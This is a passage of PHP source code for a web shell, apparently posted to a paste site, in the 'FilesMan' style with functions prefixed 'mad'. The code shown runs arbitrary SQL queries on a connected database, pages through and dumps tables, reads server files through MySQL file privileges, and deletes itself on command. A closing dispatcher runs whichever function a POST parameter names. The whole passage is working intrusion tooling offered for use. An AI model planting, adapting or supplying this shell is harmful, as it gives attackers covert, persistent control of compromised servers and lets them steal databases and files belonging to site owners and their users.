  1890.                                     echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1891.                                     if(@$_POST['p1'] == 'select') {
  1892.                                             $_POST['p1'] = 'query';
  1893.                         $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1894.                                             $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1895.                                             $num = $db->fetch();
  1896.                                             $pages = ceil($num['n'] / 30);
  1897.                         echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1898.                         echo " of $pages";
  1899.                         if($_POST['p3'] > 1)
  1900.                             echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1901.                         if($_POST['p3'] < $pages)
  1902.                             echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1903.                         $_POST['p3']--;
  1904.                                             if($_POST['type']=='pgsql')
  1905.                                                     $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1906.                                             else
  1907.                                                     $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1908.                                             echo "<br><br>";
  1909.                                     }
  1910.                                     if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1911.                                             $db->query(@$_POST['p2']);
  1912.                                             if($db->res !== false) {
  1913.                                                     $title = false;
  1914.                                                     echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1915.                                                     $line = 1;
  1916.                                                     while($item = $db->fetch())     {
  1917.                                                             if(!$title)     {
  1918.                                                                     echo '<tr>';
  1919.                                                                     foreach($item as $key => $value)
  1920.                                                                             echo '<th>'.$key.'</th>';
  1921.                                                                     reset($item);
  1922.                                                                     $title=true;
  1923.                                                                     echo '</tr><tr>';
  1924.                                                                     $line = 2;
  1925.                                                             }
  1926.                                                             echo '<tr class="l'.$line.'">';
  1927.                                                             $line = $line==1?2:1;
  1928.                                                             foreach($item as $key => $value) {
  1929.                                                                     if($value == null)
  1930.                                                                             echo '<td><i>null</i></td>';
  1931.                                                                     else
  1932.                                                                             echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1933.                                                             }
  1934.                                                             echo '</tr>';
  1935.                                                     }
  1936.                                                     echo '</table>';
  1937.                                             } else {
  1938.                                                     echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1939.                                             }
  1940.                                     }
  1941.                                     echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1942.                     if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1943.                         echo htmlspecialchars($_POST['p2']);
  1944.                     echo "</textarea><br/><input type=submit value='Execute'>";
  1945.                                     echo "</td></tr>";
  1946.                             }
  1947.                             echo "</table></form><br/>";
  1948.                 if($_POST['type']=='mysql') {
  1949.                     $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1950.                     if($db->fetch())
  1951.                         echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1952.                 }
  1953.                             if(@$_POST['p1'] == 'loadfile') {
  1954.                                     $file = $db->loadFile($_POST['p2']);
  1955.                                     echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1956.                             }
  1957.             } else {
  1958.             echo htmlspecialchars($db->error());
  1959.         }
  1960.             echo '</div>';
  1961.         madfooter();
  1962.        
  1963.      }
  1964.      
  1965.      function madselfrm()
  1966.      {
  1967.        
  1968.         if($_POST['p1'] == 'yes')
  1969.                     if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1970.                             die('Shell has been removed');
  1971.                     else
  1972.                             echo 'unlink error!';
  1973.         if($_POST['p1'] != 'yes')
  1974.             madhead();
  1975.             echo "<div class=header><pre class=ml1 style='margin-top:5px'>";
  1976.        
  1977.        
  1978.         echo "
  1979.      
  1980.                   /^\
  1981.          _.-`:   /   \   :'-._
  1982.        ,`    :  |     |  :    '.
  1983.      ,`       \,|     |,/       '.
  1984.     /           `-...-`           \
  1985.    :              .'.              :
  1986.    |             . ' .             |
  1987.    |             ' . '             |
  1988.    :              '.'              :
  1989.     \           ,-'''-,           /
  1990.      `.       /'|     |'\       ,'
  1991.        `._   ;  |     |  ;   _,'
  1992.           `-.:  |     |  :,-'
  1993.                 |     |
  1994.                 |     |
  1995.                 |     |
  1996.                 |     |
  1997.                 |     |
  1998.    ";
  1999.        
  2000.        
  2001.        
  2002.         echo '<br>borrar shell?<br><a href=# onclick="g(null,null,\'yes\')">yes</a></div>';
  2003.             madFooter();
  2004.        
  2005.      }
  2006.      
  2007.      
  2008.     if( empty($_POST['a']) )
  2009.             if(isset($default_action) && function_exists('mad' . $default_action))
  2010.                     $_POST['a'] = $default_action;
  2011.             else
  2012.                     $_POST['a'] = 'FilesMan';
  2013.     if( !empty($_POST['a']) && function_exists('mad' . $_POST['a']) )
  2014.             call_user_func('mad' . $_POST['a']);
  2015.             exit;
  2016.     ?>
Add Comment
Please, Sign In to add comment